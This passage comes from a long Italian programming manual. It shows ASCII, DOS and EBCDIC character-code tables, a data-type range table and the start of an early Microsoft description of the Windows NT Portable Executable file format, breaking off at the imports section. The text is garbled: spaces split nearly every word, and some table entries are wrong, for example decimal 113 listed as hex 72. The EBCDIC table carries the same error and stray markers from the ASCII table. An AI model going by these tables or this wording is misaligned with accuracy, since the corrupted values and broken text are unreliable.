Sun esce con l a ver si one 1. 2 ed aggi unge l e cl assi Swi ng e J FC Mi cr osof t
ar r i va con l a sua 3. 0 e i nser i sce AFC.
Ogni bot t a sono cent i nai a di met odi che si aggi ungono a quel l i gi a
esi st ent i .
Senza cont ar e che quel l o che oggi e r ecent i ssi mo domani e
sor passat i ssi mo.
Con J ava e pr opr i o i l caso di di r e : chi vi vr a vedr a !


Pagina 457 di 991
TABELLE UTILI


TBELLA CODI CI ASCI I
Dec Hex Char Code


0 00 NUL
1 01 SOH
2 02 STX
3 03 ETX
4 04 EOT
5 05 ENQ
6 06 ACK
7 07 BEL
8 08 BS
9 09 HT
10 0A LF
11 0B VT
12 0C FF
13 0D CR
14 0E SO
15 0F SI
16 10 SLE
17 11 CS1
18 12 DC2
19 13 DC3
20 14 DC4
21 15 NAK
22 16 SYN
23 17 ETB
24 18 CAN
25 19 EM
26 1A SI B
27 1B ESC

28 1C FS
29 1D GS
30 1E RS
31 1F US
32 20 ( space)

33 21 !
34 22 "
35 23 #
36 24 $
37 25 %
38 26 &
39 27 '
40 28 (
41 29 )
42 2A *
43 2B +
44 2C ,
45 2D -
46 2E .
47 2F /
48 30 0
49 31 1
50 32 2
51 33 3
52 34 4
53 35 5
54 36 6
55 37 7
56 38 8
57 39 9
58 3A :
59 3B ;
60 3C <
61 3D =
62 3E >
63 3F ?

64 40 @
65 41 A
66 42 B
67 43 C
68 44 D
69 45 E
70 46 F
71 47 G
72 48 H
73 49 I
74 4A J
75 4B K
76 4C L
77 4D M
78 4E N
79 4F O
80 50 P
81 51 Q
82 52 R
83 53 S
84 54 T
85 55 U
86 56 V
87 57 W
88 58 X
89 59 Y
90 5A Z
91 5B [
92 5C \
93 5D ]
94 5E ^
95 5F _
96 60 `
97 61 a
98 62 b
99 63 c
100 64 d

101 65 e
102 66 f
103 67 g
104 68 h
105 69 i
106 6A j
107 6B k
108 6C l
109 6D m
110 6E n
111 6F o
112 70 p
113 72 q
114 72 r
115 73 s
116 74 t
117 75 u
118 76 v
119 77 w
120 78 x
121 79 y
122 7A z
123 7B {
124 7C |
125 7D }
126 7E ~
127 7F
128 80
129 81
130* 82
131* 83
132* 84
133* 85
134* 86
135* 87

136* 88
Pagina 458 di 991
137* 89
138* 8A
139* 8B
140* 8C
141 8D
142 8E
143 8F
144 90
145 91
146 92
147* 93
148* 94
149* 95
150* 96
151* 97
152* 98
153* 99
154* 9A
155* 9B
156* 9C
157 9D
158 9E
159* 9F
160 A0
161 A1
162 A2
163 A3
164 A4
165 A5
166 A6
167 A7
168 A8
169 A9

170 AA
171 AB
172 AC
173 AD -
174 AE
175 AF
176 B0
177 B1
178 B2
179 B3
180 B4
181 B5
182 B6
183 B7
184 B8
185 B9
186 BA
187 BB
188 BC
189 BD
190 BE
191 BF
192 C0
193 C1
194 C2
195 C3
196 C4
197 C5
198 C6
199 C7
200 C8
201 C9
202 CA
203 CB
204 CC
205 CD
206 CE
207 CF
208 D0
209 D1

210 D2
211 D3
212 D4
213 D5
214 D6
215 D7
216 D8
217 D9
218 DA
219 DB
220 DC
221 DD
222 DE
223 DF
224 E0
225 E1
226 E2
227 E3
228 E4
229 E5
230 E6
231 E7
232 E8
233 E9
234 EA
235 EB
236 EC
237 ED
238 EE
239 EF
240 F0
241 F1
242 F2
243 F3
244 F4
245 F5
246 F6
247 F7
248 F8
249 F9

250 FA
251 FB
252 FC
253 FD
254 FE
255 FF






































Pagina 459 di 991

TABELLA CODI CI DOS

Dec Hex Char Code


0 00 NUL
1 01 SOH
2 02 STX
3 03 ETX
4 04 EOT
5 05 ENQ
6 06 ACK
7 07 BEL
8 08 BS
9 09 HT
10 0A LF
11 0B VT
12 0C FF
13 0D CR
14 0E SO
15 0F SI
16 10 SLE
17 11 CS1
18 12 DC2
19 13 DC3
20 14 DC4
21 15 NAK
22 16 SYN
23 17 ETB
24 18 CAN
25 19 EM
26 1A SI B
27 1B ESC

28 1C FS
29 1D GS
30 1E RS
31 1F US
32 20 ( space)

33 21 !
34 22 "
35 23 #
36 24 $
37 25 %
38 26 &
39 27 '
40 28 (
41 29 )
42 2A *
43 2B +
44 2C ,
45 2D -
46 2E .
47 2F /
48 30 0
49 31 1
50 32 2
51 33 3
52 34 4
53 35 5
54 36 6
55 37 7
56 38 8
57 39 9
58 3A :
59 3B ;
60 3C <
61 3D =
62 3E >
63 3F ?

64 40 @
65 41 A
66 42 B
67 43 C
68 44 D
69 45 E
70 46 F
71 47 G
72 48 H
73 49 I
74 4A J
75 4B K
76 4C L
77 4D M
78 4E N
79 4F O
80 50 P
81 51 Q
82 52 R
83 53 S
84 54 T
85 55 U
86 56 V
87 57 W
88 58 X
89 59 Y
90 5A Z
91 5B [
92 5C \
93 5D ]
94 5E ^
95 5F _
96 60 `
97 61 a
98 62 b
99 63 c
100 64 d

101 65 e
102 66 f
103 67 g
104 68 h
105 69 i
106 6A j
107 6B k
108 6C l
109 6D m
110 6E n
111 6F o
112 70 p
113 72 q
114 72 r
115 73 s
116 74 t
117 75 u
118 76 v
119 77 w
120 78 x
121 79 y
122 7A z
123 7B {
124 7C |
125 7D }
126 7E ~
127 7F
128 80
129 81
130 82
131 83
132 84
133 85
134 86
135 87
136 88

137 89
138 8A
139 8B
140 8C
141 8D
142 8E
Pagina 460 di 991
143 8F
144 90
145 91
146 92
147 93
148 94
149 95
150 96
151 97
152 98
153 99
154 9A
155 9B
156 9C
157 9D
158 9E
159 9F
160 A0
161 A1
162 A2
163 A3
164 A4
165 A5
166 A6
167 A7
168 A8
169 A9
170 AA
171 AB
172 AC
173 AD
174 AE
175 AF
176 B0

177 B1
178 B2
179 B3
180 B4
181 B5
182 B6
183 B7
184 B8
185 B9
186 BA
187 BB
188 BC
189 BD
190 BE
191 BF
192 C0
193 C1
194 C2
195 C3
196 C4
197 C5
198 C6
199 C7
200 C8
201 C9
202 CA
203 CB
204 CC
205 CD
206 CE
207 CF
208 D0
209 D1
210 D2
211 D3
212 D4
213 D5
214 D6
215 D7
216 D8
217 D9
218 DA
219 DB

220 DC
221 DD
222 DE
223 DF
224 E0
225 E1
226 E2
227 E3
228 E4
229 E5
230 E6
231 E7
232 E8
233 E9
234 EA
235 EB
236 EC
237 ED
238 EE
239 EF
240 F0
241 F1
242 F2
243 F3
244 F4
245 F5
246 F6
247 F7
248 F8
249 F9
250 FA
251 FB
252 FC
253 FD
254 FE
255 FF
Pagina 461 di 991
TABELLA EBCDI C
Dec Hex Char Code


0 00 NUL
1 01 SOH
2 02 STX
3 03 ETX
4 04 PF
5 05 HT
6 06 LC
7 07 DEL
8 08
9 09 RLF
10 0A SMM
11 0B VT
12 0C FF
13 0D CR
14 0E S0
15 0F S1
16 10 DLE
17 11 DC1
18 12 DC2
19 13 DC3
20 14 RES
21 15 NL
22 16 BS
23 17 I L
24 18 CAN
25 19 EM
26 1A CC
27 1B
28 1C I FS

29 1D I GS
30 1E I RS
31 1F I US
32 20 DS
33 21 SOS
34 22 FS
35 23
36 24 BYP
37 25 LF
38 26 ETB
39 27 ESC
40 28
41 29
42 2A SM
43 2B
44 2C
45 2D ENQ
46 2E ACK
47 2F BEL
48 30
49 31
50 32 SYN
51 33
52 34 PN
53 35 RS
54 36 UC
55 37 EOT
56 38
57 39
58 3A
59 3B
60 3C DC4
61 3D NAK
62 3E

63 3F SUB
64 40 SP
65 41
66 42
67 43
68 44
69 45
70 46
71 47
72 48
73 49
74 4A
75 4B .
76 4C <
77 4D (
78 4E +
79 4F |
80 50 &
81 51
82 52
83 53
84 54
85 55
86 56
87 57
88 58
89 59
90 5A !
91 5B $
92 5C *
93 5D )
94 5E ;
95 5F
96 60 -
97 61
98 62
99 63
100 64
101 65
102 66
103 67
104 68
105 69
106 6A |
107 6B

108 6C %
109 6D _
110 6E >
111 6F ?
112 70
113 72
114 72
115 73
116 74
117 75
118 76
119 77
120 78
121 79 \
122 7A :
123 7B #
124 7C @
125 7D
126 7E =
127 7F
128 80
129 81 a
130* 82 b
131* 83 c
132* 84 d
133* 85 e
134* 86 f
135* 87 g
136* 88 h
137* 89 i
138* 8A
139* 8B
140* 8C
141 8D
142 8E
143 8F
144 90
145 91 j
Pagina 462 di 991
146 92 k

147* 93 l
148* 94 m
149* 95 n
150* 96 o
151* 97 p
152* 98 q
153* 99 r
154* 9A
155* 9B
156* 9C
157 9D
158 9E
159* 9F
160 A0
161 A1 ~
162 A2 s
163 A3 t
164 A4 u
165 A5 v
166 A6 w
167 A7 x
168 A8 y
169 A9 z
170 AA
171 AB
172 AC
173 AD
174 AE
175 AF
176 B0
177 B1
178 B2
179 B3
180 B4
181 B5
182 B6
183 B7
184 B8
185 B9
186 BA
187 BB

188 BC
189 BD
190 BE
191 BF
192 C0 {
193 C1 A
194 C2 B
195 C3 C
196 C4 D
197 C5 E
198 C6 F
199 C7 G
200 C8 H
201 C9 I
202 CA
203 CB
204 CC
205 CD
206 CE
207 CF
208 D0 }
209 D1 J
210 D2 K
211 D3 L
212 D4 M
213 D5 N
214 D6 O
215 D7 P
216 D8 Q
217 D9 R
218 DA
219 DB
220 DC
221 DD
222 DE
223 DF
224 E0 \
225 E1
226 E2 S
227 E3 T
228 E4 U
229 E5 V

230 E6 W
231 E7 X
232 E8 Y
233 E9 Z
234 EA
235 EB
236 EC
237 ED
238 EE
239 EF
240 F0 0
241 F1 1
242 F2 2
243 F3 3
244 F4 4
245 F5 5
246 F6 6
247 F7 7
248 F8 8
249 F9 9
250 FA
251 FB
252 FC
253 FD
254 FE
255 FF
Pagina 463 di 991
TI POLOGI A DATI
Type Name Byt es Range of Val ues
( si gned) byt e 1 - 128 t o 127
unsi gned byt e 1 0 t o 255

( si gned) shor t 2 - 32, 768 t o 32, 767
unsi gned shor t 2 0 t o 65, 535

( si gned) l ong 4 - 2, 147, 483, 648 t o 2, 147, 483, 647
unsi gned l ong 4 0 t o 4, 294, 967, 295

f l oat 4 3. 4E +/ - 38
doubl e 8 1. 7E +/ - 308
l ong doubl e 10 1. 2E +/ - 4932

Pagina 464 di 991
DOCUMENTI INTEGRALI


Qui vengono r i por t at i al cuni document i i nt egr al i r i l asci at i da Mi cr osof t o da
al t r i .
I t est i sono

PORTABLE EXECUTABLE FORMAT
Wi n32 Bi nar y Resour ce For mat s


PORTABLE EXECUTABLE FORMAT

Aut hor : Mi cheal J . O' Lear y


Pr ef ace

Thi s document was edi t ed and r el eased by Mi cr osof t Devel oper
Suppor t . I t descr i bes t he bi nar y por t abl e execut abl e f or mat f or NT.
The i nf or mat i on i s pr ovi ded at t hi s poi nt because we f eel i t wi l l
make t he wor k of appl i cat i on devel opment easi er . Unf or t unat el y, t he
i nf or mat i on i n t hi s document may change bef or e t he f i nal r el ease of
Wi ndows NT. Mi cr osof t i s NOT commi t t i ng t o st ay wi t h t hese f or mat s
by r el easi ng t hi s document . Quest i ons or f ol l ow- ups f or any of t he
i nf or mat i on pr esent ed her e shoul d be post ed t o CompuSer ve MSWI N32
f or um, sect i on 6.
- - St eve Fi r ebaugh
Mi cr osof t Devel oper Suppor t



Cont ent s

1. Over vi ew

2. PE Header

3. Obj ect Tabl e

4. I mage Pages

5. Expor t s
5. 1 Expor t Di r ect or y Tabl e
5. 2 Expor t Addr ess Tabl e
5. 3 Expor t Name Tabl e Poi nt er s
5. 4 Expor t Or di nal Tabl e
5. 5 Expor t Name Tabl e

6. I mpor t s
6. 1 I mpor t Di r ect or y Tabl e
6. 2 I mpor t Lookup Tabl e
6. 3 Hi nt - Name Tabl e
6. 4 I mpor t Addr ess Tabl e

7. Thr ead Local St or age
7. 1 Thr ead Local St or age Di r ect or y Tabl e
7. 2 Thr ead Local St or age Cal l Back Tabl e

8. Resour ces
8. 1 Resour ce Di r ect or y Tabl e
8. 2 Resour ce Exampl e

Pagina 465 di 991
9. Fi xup Tabl e
9. 1 Fi xup Bl ock

10. Debug I nf or mat i on
10. 1 Debug Di r ect or y



1. Over vi ew

< < Base of I mage Header
DOS 2 Compat i bl e
EXE Header

unused

OEM I dent i f i er
OEM I nf o
DOS 2. 0 Sect i on
Of f set t o ( f or DOS compat i bi l i t y onl y)
PE Header

DOS 2. 0 St ub
Pr ogr am&
Rel oc. Tabl e
<
unused
< Al i gned on 8 byt e boundar y
PE Header

Obj ect Tabl e

I mage Pages
i mpor t i nf o
expor t i nf o
f i xup i nf o
r esour ce i nf o
debug i nf o


Fi gur e 1. A t ypi cal 32- bi t Por t abl e EXE Fi l e Layout



2. PE Header



SI GNATURE BYTES CPU TYPE # OBJ ECTS

TI ME/ DATE STAMP RESERVED

RESERVED NT HDR SI ZE FLAGS

RESERVED LMAJ OR LMI NOR RESERVED

RESERVED RESERVED

ENTRYPOI NT RVA RESERVED

RESERVED I MAGE BASE

OBJ ECT ALI GN FI LE ALI GN
Pagina 466 di 991

OS MAJ OR OS MI NOR USER MAJ OR USER MI NOR

SUBSYS MAJ OR SUBSYS MI NOR RESERVED

I MAGE SI ZE HEADER SI ZE

FI LE CHECKSUM SUBSYSTEM DLL FLAGS

STACK RESERVE SI ZE STACK COMMI T SI ZE

HEAP RESERVE SI ZE HEAP COMMI T SI ZE

RESERVED # I NTERESTI NG RVA/ SI ZES

EXPORT TABLE RVA TOTAL EXPORT DATA SI ZE

I MPORT TABLE RVA TOTAL I MPORT DATA SI ZE

RESOURCE TABLE RVA TOTAL RESOURCE DATA SI ZE

EXCEPTI ON TABLE RVA TOTAL EXCEPTI ON DATA SI ZE

SECURI TY TABLE RVA TOTAL SECURI TY DATA SI ZE

FI XUP TABLE RVA TOTAL FI XUP DATA SI ZE

DEBUG TABLE RVA TOTAL DEBUG DI RECTORI ES

I MAGE DESCRI PTI ON RVA TOTAL DESCRI PTI ON SI ZE

MACHI NE SPECI FI C RVA MACHI NE SPECI FI C SI ZE

THREAD LOCAL STORAGE RVA TOTAL TLS SI ZE


Fi gur e 2. PE Header

Not es:

o A VA i s a vi r t ual addr ess t hat i s al r eady bi ased by t he I mage
Base f ound i n t he PE Header . A RVA i s a vi r t ual addr ess t hat i s
r el at i ve t o t he I mage Base.

o An RVA i n t he PE Header whi ch has a val ue of zer o i ndi cat es t he
f i el d i sn' t used.

o I mage pages ar e al i gned and zer o padded t o a Fi l e Al i gn
boundar y. The bases of al l ot her t abl es and st r uct ur es must be
al i gned on DWORD ( 4 byt e) boundar y. Thus, al l VA' s and RVA' s
must be on a 32 bi t boundar y. Al l t abl e and st r uct ur e f i el ds
must be al i gned on t hei r " nat ur al " boundar i es, wi t h t he possi bl e
except i on of t he Debug I nf o.

SI GNATURE BYTES = DB * 4.
Cur r ent val ue i s " PE/ 0/ 0" . That s PE f ol l owed by t wo zer os ( nul l s) .

CPU TYPE = DWCPU Type.
Thi s f i el d speci f i es t he t ype of CPU compat i bi l i t y r equi r ed by t hi s
i mage t o r un. The val ues ar e:

o 0000h __unknown

Pagina 467 di 991
o 014Ch __80386

o 014Dh __80486

o 014Eh __80586

o 0162h __MI PS Mar k I ( R2000, R3000)

o 0163h __MI PS Mar k I I ( R6000)

o 0166h __MI PS Mar k I I I ( R4000)

# OBJ ECTS = DWNumber of obj ect ent r i es.
Thi s f i el d speci f i es t he number of ent r i es i n t he Obj ect Tabl e.

TI ME/ DATE STAMP = DD Used t o st or e t he t i me and dat e t he f i l e was
cr eat ed or modi f i ed by t he l i nker .

NT HDR SI ZE = DWThi s i s t he number of r emai ni ng byt es i n t he NT
header t hat f ol l ow t he FLAGS f i el d.

FLAGS = DWFl ag bi t s f or t he i mage.
The f l ag bi t s have t he f ol l owi ng def i ni t ons:

o 0000h __Pr ogr ami mage.

o 0002h __I mage i s execut abl e.
I f t hi s bi t i sn' t set , t hen i t i ndi cat es t hat ei t her er r or s
wher e det ect ed at l i nk t i me or t hat t he i mage i s bei ng
i ncr ement al l y l i nked and t her ef or e can' t be l oaded.

o 0200h __Fi xed.
I ndi cat es t hat i f t he i mage can' t be l oaded at t he I mage Base,
t hen don' t l oad i t .

o 2000h __Li br ar y i mage.

LMAJ OR/ LMI NOR = DB Li nker maj or / mi nor ver si on number .

ENTRYPOI NT RVA = DD Ent r ypoi nt r el at i ve vi r t ual addr ess.
The addr ess i s r el at i ve t o t he I mage Base. The addr ess i s t he
st ar t i ng addr ess f or pr ogr ami mages and t he l i br ar y i ni t i al i zat i on
and l i br ar y t er mi nat i on addr ess f or l i br ar y i mages.

I MAGE BASE = DD The vi r t ual base of t he i mage.
Thi s wi l l be t he vi r t ual addr ess of t he f i r st byt e of t he f i l e ( Dos
Header ) . Thi s must be a mul t i pl e of 64K.

OBJ ECT ALI GN = DD The al i gnment of t he obj ect s. Thi s must be a power
of 2 bet ween 512 and 256M i ncl usi ve. The def aul t i s 64K.

FI LE ALI GN = DD Al i gnment f act or used t o al i gn i mage pages. The
al i gnment f act or ( i n byt es) used t o al i gn t he base of t he i mage pages
and t o det er mi ne t he gr anul ar i t y of per - obj ect t r ai l i ng zer o pad.
Lar ger al i gnment f act or s wi l l cost mor e f i l e space; smal l er al i gnment
f act or s wi l l i mpact demand l oad per f or mance, per haps si gni f i cant l y.
Of t he t wo, wast i ng f i l e space i s pr ef er abl e. Thi s val ue shoul d be a
power of 2 bet ween 512 and 64K i ncl usi ve.

OS MAJ OR/ MI NOR = DWOS ver si on number r equi r ed t o r un t hi s i mage.

USER MAJ OR/ MI NOR # = DWUser maj or / mi nor ver si on number .
Thi s i s usef ul f or di f f er ent i at i ng bet ween r evi si ons of
Pagina 468 di 991
i mages/ dynami c l i nked l i br ar i es. The val ues ar e speci f i ed at l i nk
t i me by t he user .

SUBSYS MAJ OR/ MI NOR # = DWSubsyst emmaj or / mi nor ver si on number .

I MAGE SI ZE = DD The vi r t ual si ze ( i n byt es) of t he i mage.
Thi s i ncl udes al l header s. The t ot al i mage si ze must be a mul t i pl e
of Obj ect Al i gn.

HEADER SI ZE = DD Tot al header si ze.
The combi ned si ze of t he Dos Header , PE Header and Obj ect Tabl e.

FI LE CHECKSUM = DD Checksumf or ent i r e f i l e. Set t o 0 by t he l i nker .

SUBSYSTEM = DWNT Subsyst emr equi r ed t o r un t hi s i mage.
The val ues ar e:

o 0000h __Unknown

o 0001h __Nat i ve

o 0002h __Wi ndows GUI

o 0003h __Wi ndows Char act er

o 0005h __OS/ 2 Char act er

o 0007h __Posi x Char act er

DLL FLAGS = DWI ndi cat es speci al l oader r equi r ement s.
Thi s f l ag has t he f ol l owi ng bi t val ues:

o 0001h __Per - Pr ocess Li br ar y I ni t i al i zat i on.

o 0002h __Per - Pr ocess Li br ar y Ter mi nat i on.

o 0004h __Per - Thr ead Li br ar y I ni t i al i zat i on.

o 0008h __Per - Thr ead Li br ar y Ter mi nat i on.

Al l ot her bi t s ar e r eser ved f or f ut ur e use and shoul d be set t o zer o.

STACK RESERVE SI ZE = DD St ack si ze needed f or i mage.
The memor y i s r eser ved, but onl y t he STACK COMMI T SI ZE i s commi t t ed.
The next page of t he st ack i s a ' guar ded page' . When t he appl i cat i on
hi t s t he guar ded page, t he guar ded page becomes val i d, and t he next
page becomes t he guar ded page. Thi s cont i nues unt i l t he RESERVE SI ZE
i s r eached.

STACK COMMI T SI ZE = DD St ack commi t si ze.

HEAP RESERVE SI ZE = DD Si ze of l ocal heap t o r eser ve.

HEAP COMMI T SI ZE = DD Amount t o commi t i n l ocal heap.

# I NTERESTI NG VA/ SI ZES = DD I ndi cat es t he si ze of t he VA/ SI ZE ar r ay
t hat f ol l ows.

EXPORT TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Expor t Tabl e.
Thi s addr ess i s r el at i ve t o t he I mage Base.

I MPORT TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he I mpor t Tabl e.
Thi s addr ess i s r el at i ve t o t he I mage Base.
Pagina 469 di 991

RESOURCE TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Resour ce
Tabl e. Thi s addr ess i s r el at i ve t o t he I mage Base.

EXCEPTI ON TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Except i on
Tabl e. Thi s addr ess i s r el at i ve t o t he I mage Base.

SECURI TY TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Secur i t y
Tabl e. Thi s addr ess i s r el at i ve t o t he I mage Base.

FI XUP TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Fi xup Tabl e.
Thi s addr ess i s r el at i ve t o t he I mage Base.

DEBUG TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Debug Tabl e.
Thi s addr ess i s r el at i ve t o t he I mage Base.

I MAGE DESCRI PTI ON RVA = DD Rel at i ve Vi r t ual Addr ess of t he
descr i pt i on st r i ng speci f i ed i n t he modul e def i ni t on f i l e.

MACHI NE SPECI FI C RVA = DD Rel at i ve Vi r t ual Addr ess of a machi ne
speci f i c val ue. Thi s addr ess i s r el at i ve t o t he I mage Base.

TOTAL EXPORT DATA SI ZE = DD Tot al si ze of t he expor t dat a.

TOTAL I MPORT DATA SI ZE = DD Tot al si ze of t he i mpor t dat a.

TOTAL RESOURCE DATA SI ZE = DD Tot al si ze of t he r esour ce dat a.

TOTAL EXCEPTI ON DATA SI ZE = DD Tot al si ze of t he except i on dat a.

TOTAL SECURI TY DATA SI ZE = DD Tot al si ze of t he secur i t y dat a.

TOTAL FI XUP DATA SI ZE = DD Tot al si ze of t he f i xup dat a.

TOTAL DEBUG DI RECTORI ES = DD Tot al number of debug di r ect or i es.

TOTAL DESCRI PTI ON SI ZE = DD Tot al si ze of t he descr i pt i on dat a.

MACHI NE SPECI FI C SI ZE = DD A machi ne speci f i c val ue.



3. Obj ect Tabl e

The number of ent r i es i n t he Obj ect Tabl e i s gi ven by t he # Obj ect s
f i el d i n t he PE Header . Ent r i es i n t he Obj ect Tabl e ar e number ed
st ar t i ng f r omone. The obj ect t abl e i mmedi at el y f ol l ows t he PE
Header . The code and dat a memor y obj ect ent r i es ar e i n t he or der
chosen by t he l i nker . The vi r t ual addr esses f or obj ect s must be
assi gned by t he l i nker such t hat t hey ar e i n ascendi ng or der and
adj acent , and must be a mul t i pl e of Obj ect Al i gn i n t he PE header .

Each Obj ect Tabl e ent r y has t he f ol l owi ng f or mat :


OBJ ECT NAME

VI RTUAL SI ZE RVA

PHYSI CAL SI ZE PHYSI CAL OFFSET

RESERVED RESERVED

Pagina 470 di 991
RESERVED OBJ ECT FLAGS


Fi gur e 3. Obj ect Tabl e

OBJ ECT NAME = DB * 8 Obj ect name. Thi s i s an ei ght - byt e nul l - padded
ASCI I st r i ng r epr esent i ng t he obj ect name.

VI RTUAL SI ZE = DD Vi r t ual memor y si ze. The si ze of t he obj ect t hat
wi l l be al l ocat ed when t he obj ect i s l oaded. Any di f f er ence bet ween
PHYSI CAL SI ZE and VI RTUAL SI ZE i s zer o f i l l ed.

RVA = DD Rel at i ve Vi r t ual Addr ess. The vi r t ual addr ess t he obj ect i s
cur r ent l y r el ocat ed t o, r el at i ve t o t he I mage Base. Each Obj ect ' s
vi r t ual addr ess space consumes a mul t i pl e of Obj ect Al i gn ( power of 2
bet ween 512 and 256M i ncl usi ve. Def aul t i s 64K) , and i mmedi at el y
f ol l ows t he pr evi ous Obj ect i n t he vi r t ual addr ess space ( t he vi r t ual
addr ess space f or a i mage must be dense) .

PHYSI CAL SI ZE = DD Physi cal f i l e si ze of i ni t i al i zed dat a. The si ze
of t he i ni t i al i zed dat a i n t he f i l e f or t he obj ect . The physi cal
si ze must be a mul t i pl e of t he Fi l e Al i gn f i el d i n t he PE Header , and
must be l ess t han or equal t o t he Vi r t ual Si ze.

PHYSI CAL OFFSET = DD Physi cal of f set f or obj ect ' s f i r st page. Thi s
of f set i s r el at i ve t o begi nni ng of t he EXE f i l e, and i s al i gned on a
mul t i pl e of t he Fi l e Al i gn f i el d i n t he PE Header . The of f set i s
used as a seek val ue.

OBJ ECT FLAGS = DD Fl ag bi t s f or t he obj ect . The obj ect f l ag bi t s
have t he f ol l owi ng def i ni t i ons:

o 000000020h __Code obj ect .

o 000000040h __I ni t i al i zed dat a obj ect .

o 000000080h __Uni ni t i al i zed dat a obj ect .

o 040000000h __Obj ect must not be cached.

o 080000000h __Obj ect i s not pageabl e.

o 100000000h __Obj ect i s shar ed.

o 200000000h __Execut abl e obj ect .

o 400000000h __Readabl e obj ect .

o 800000000h __Wr i t eabl e obj ect .

Al l ot her bi t s ar e r eser ved f or f ut ur e use and shoul d be set t o zer o.

4. I mage Pages

The I mage Pages sect i on cont ai ns al l i ni t i al i zed dat a f or al l
obj ect s. The seek of f set f or t he f i r st page i n each obj ect i s
speci f i ed i n t he obj ect t abl e and i s al i gned on a Fi l e Al i gn
boundar y. The obj ect s ar e or der ed by t he RVA. Ever y obj ect begi ns
on a mul t i pl e of Obj ect Al i gn.



5. Expor t s
Pagina 471 di 991

A t ypi cal f i l e l ayout f or t he expor t i nf or mat i on f ol l ows:


DI RECTORY TABLE

ADDRESS TABLE

NAME PTR TABLE

ORDI NAL TABLE

NAME STRI NGS


Fi gur e 4. Expor t Fi l e Layout

5. 1 Expor t Di r ect or y Tabl e

The expor t i nf or mat i on begi ns wi t h t he Expor t Di r ect or y Tabl e whi ch
descr i bes t he r emai nder of t he expor t i nf or mat i on. The Expor t
Di r ect or y Tabl e cont ai ns addr ess i nf or mat i on t hat i s used t o r esol ve
f i xup r ef er ences t o t he ent r y poi nt s wi t hi n t hi s i mage.


EXPORT FLAGS

TI ME/ DATE STAMP

MAJ OR VERSI ON MI NOR VERSI ON

NAME RVA

ORDI NAL BASE

# EAT ENTRI ES

# NAME PTRS

ADDRESS TABLE RVA

NAME PTR TABLE RVA

ORDI NAL TABLE RVA


Fi gur e 5. Expor t Di r ect or y Tabl e Ent r y

EXPORT FLAGS = DD Cur r ent l y set t o zer o.

TI ME/ DATE STAMP = DD Ti me/ Dat e t he expor t dat a was cr eat ed.

MAJ OR/ MI NOR VERSI ON = DW A user set t abl e maj or / mi nor ver si on number .

NAME RVA = DD Rel at i ve Vi r t ual Addr ess of t he Dl l asci i z Name.
Thi s i s t he addr ess r el at i ve t o t he I mage Base.

ORDI NAL BASE = DD Fi r st val i d expor t ed or di nal .
Thi s f i el d speci f i es t he st ar t i ng or di nal number f or t he expor t
addr ess t abl e f or t hi s i mage. Nor mal l y set t o 1.

# EAT ENTRI ES = DD I ndi cat es number of ent r i es i n t he Expor t Addr ess
Tabl e.
Pagina 472 di 991

# NAME PTRS = DD Thi s i ndi cat es t he number of ent r i es i n t he Name Pt r
Tabl e ( and par al l el Or di nal Tabl e) .

ADDRESS TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Expor t Addr ess
Tabl e.
Thi s addr ess i s r el at i ve t o t he I mage Base.

NAME TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of t he Expor t Name Tabl e
Poi nt er s.
Thi s addr ess i s r el at i ve t o t he begi nni ng of t he I mage Base. Thi s
t abl e i s an ar r ay of RVA' s wi t h # NAMES ent r i es.

ORDI NAL TABLE RVA = DD Rel at i ve Vi r t ual Addr ess of Expor t Or di nal s
Tabl e Ent r y.
Thi s addr ess i s r el at i ve t o t he begi nni ng of t he I mage Base.

5. 2 Expor t Addr ess Tabl e

The Expor t Addr ess Tabl e cont ai ns t he addr ess of expor t ed ent r ypoi nt s
and expor t ed dat a and absol ut es. An or di nal number i s used t o i ndex
t he Expor t Addr ess Tabl e. The ORDI NAL BASE must be subr act ed f r omt he
or di nal number bef or e i ndexi ng i nt o t hi s t abl e.

Expor t Addr ess Tabl e ent r y f or mat s ar e descr i bed bel ow:


EXPORTED RVA


Fi gur e 6. Expor t Addr ess Tabl e Ent r y

EXPORTED RVA = DD Expor t addr ess.
Thi s f i el d cont ai ns t he r el at i ve vi r t ual addr ess of t he expor t ed
ent r y ( r el at i ve t o t he I mage Base) .

5. 3 Expor t Name Tabl e Poi nt er s

The expor t name t abl e poi nt er s ar r ay cont ai ns addr ess i nt o t he Expor t
Name Tabl e. The poi nt er s ar e 32- bi t s each, and ar e r el at i ve t o t he
I mage Base. The poi nt er s ar e or der ed l exi cal l y t o al l ow bi nar y
sear ches.

5. 4 Expor t Or di nal Tabl e

The Expor t Name Tabl e Poi nt er s and t he Expor t Or di nal Tabl e f or mt wo
par al l el ar r ays, separ at ed t o al l ow nat ur al f i el d al i gnment . The
expor t or di nal t abl e ar r ay cont ai ns t he Expor t Addr ess Tabl e or di nal
number s associ at ed wi t h t he named expor t r ef er enced by cor r espondi ng
Expor t Name Tabl e Poi nt er s.

The or di nal s ar e 16- bi t s each, and al r eady i ncl ude t he Or di nal Base
st or ed i n t he Expor t Di r ect or y Tabl e.

5. 5 Expor t Name Tabl e

The expor t name t abl e cont ai ns opt i onal ASCI I names f or expor t ed
ent r i es i n t he i mage. These t abl es ar e used wi t h t he ar r ay of Expor t
Name Tabl e Poi nt er s and t he ar r ay of Expor t Or di nal s t o t r ansl at e a
pr ocedur e name st r i ng i nt o an or di nal number by sear chi ng f or a
mat chi ng name st r i ng. The or di nal number i s used t o l ocat e t he ent r y
poi nt i nf or mat i on i n t he expor t addr ess t abl e.

Pagina 473 di 991
I mpor t r ef er ences by name r equi r e t he Expor t Name Tabl e Poi nt er s
t abl e t o be bi nar y sear ched t o f i nd t he mat chi ng name, t hen t he
cor r espondi ng Expor t Or di nal Tabl e i s known t o cont ai n t he ent r y
poi nt or di nal number . I mpor t r ef er ences by or di nal number pr ovi de
t he f ast est l ookup si nce sear chi ng t he name t abl e i s not r equi r ed.

Each name t abl e ent r y has t he f ol l owi ng f or mat :


ASCI I STRI NG : : : : : : : : : : : ' \ 0'


Fi gur e 7. Expor t Name Tabl e Ent r y

ASCI I STRI NG = DB ASCI I St r i ng.
The st r i ng i s case sensi t i ve and i s t er mi nat ed by a nul l byt e.



6. I mpor t s

